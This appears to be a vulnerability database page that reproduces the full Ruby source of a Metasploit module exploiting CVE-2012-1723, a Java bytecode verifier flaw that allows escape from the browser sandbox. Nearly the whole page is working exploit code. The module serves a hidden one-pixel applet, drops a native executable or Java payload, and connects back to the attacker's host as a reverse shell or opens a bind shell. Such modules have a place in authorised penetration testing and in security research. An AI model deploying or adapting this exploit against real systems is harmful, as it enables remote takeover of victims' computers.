Java Applet Field Bytecode Verifier Cache Remote Code Execution

2012-07-10T02:20:37
ID MSF:EXPLOIT/MULTI/BROWSER/JAVA_VERIFIER_FIELD_ACCESS
Type metasploit
Reporter Rapid7
Modified 2017-08-29T00:17:58

Description

This module exploits a vulnerability in HotSpot bytecode verifier where an invalid optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient type checks. This allows a way to escape the JRE sandbox, and load additional classes in order to perform malicious operations.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  include Msf::Exploit::Remote::BrowserAutopwn
  autopwn_info({ :javascript => false })

  def initialize( info = {} )
    super( update_info( info,
      'Name'           => 'Java Applet Field Bytecode Verifier Cache Remote Code Execution',
      'Description'    => %q{
          This module exploits a vulnerability in HotSpot bytecode verifier where an invalid
        optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient
        type checks. This allows a way to escape the JRE sandbox, and load additional classes
        in order to perform malicious operations.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Stefan Cornelius',      # Discoverer
          'mihi',                  # Vuln analysis
          'littlelightlittlefire', # metasploit module
          'juan vazquez',          # merged code (overlapped)
          'sinn3r'                 # merged code (overlapped)
        ],
      'References'     =>
        [
          ['CVE', '2012-1723'],
          ['OSVDB', '82877'],
          ['BID', '52161'],
          ['URL', 'http://schierlm.users.sourceforge.net/CVE-2012-1723.html'],
          ['URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2012-1515912.html'],
          ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=829373'],
          ['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/253e7c32def9'],
          ['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/8f86ad60699b']
        ],
      'Platform'       => %w{ java linux osx solaris win },
      'Payload'        => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
      'Targets'        =>
        [
          [ 'Generic (Java Payload)',
            {
              'Platform' => ['java'],
              'Arch' => ARCH_JAVA
            }
          ],
          [ 'Windows x86 (Native Payload)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86
            }
          ],
          [ 'Mac OS X PPC (Native Payload)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_PPC
            }
          ],
          [ 'Mac OS X x86 (Native Payload)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_X86
            }
          ],
          [ 'Linux x86 (Native Payload)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 06 2012'
    ))
  end


  def exploit
    # load the static jar file
    path = File.join( Msf::Config.data_directory, "exploits", "CVE-2012-1723.jar" )
    fd = File.open( path, "rb" )
    @jar_data = fd.read(fd.stat.size)
    fd.close

    super
  end


  def on_request_uri( cli, request )
    data = ""
    host = ""
    port = ""

    if not request.uri.match(/\.jar$/i)
      if not request.uri.match(/\/$/)
        send_redirect( cli, get_resource() + '/', '')
        return
      end

      print_status("Sending #{self.name}")

      payload = regenerate_payload( cli )
      if not payload
        print_error("Failed to generate the payload." )
        return
      end

      if target.name == 'Generic (Java Payload)'
        if datastore['LHOST']
          jar  = payload.encoded
          host = datastore['LHOST']
          port = datastore['LPORT']
          vprint_status("Sending java reverse shell")
        else
          port = datastore['LPORT']
          host = cli.peerhost
          vprint_status( "Java bind shell" )
        end
        if jar
          print_status( "Generated jar to drop (#{jar.length} bytes)." )
          jar = Rex::Text.to_hex( jar, prefix="" )
        else
          print_error("Failed to generate the executable." )
          return
        end
      else

        # NOTE: The EXE mixin automagically handles detection of arch/platform
        data = generate_payload_exe

        print_status("Generated executable to drop (#{data.length} bytes)." )
        data = Rex::Text.to_hex( data, prefix="" )

      end

      send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )
      return
    end

    print_status("Sending jar")
    send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )

    handler( cli )
  end

  def generate_html( data, jar, host, port )
    jar_name = rand_text_alpha(rand(6)+3) + ".jar"

    html  = "<html><head></head>"
    html += "<body>"
    html += "<applet archive=\"#{jar_name}\" code=\"cve1723.Attacker\" width=\"1\" height=\"1\">"
    html += "<param name=\"data\" value=\"#{data}\"/>" if data
    html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
    html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
    html += "</applet></body></html>"
    return html
  end

  def generate_jar()
    @jar_data
  end
end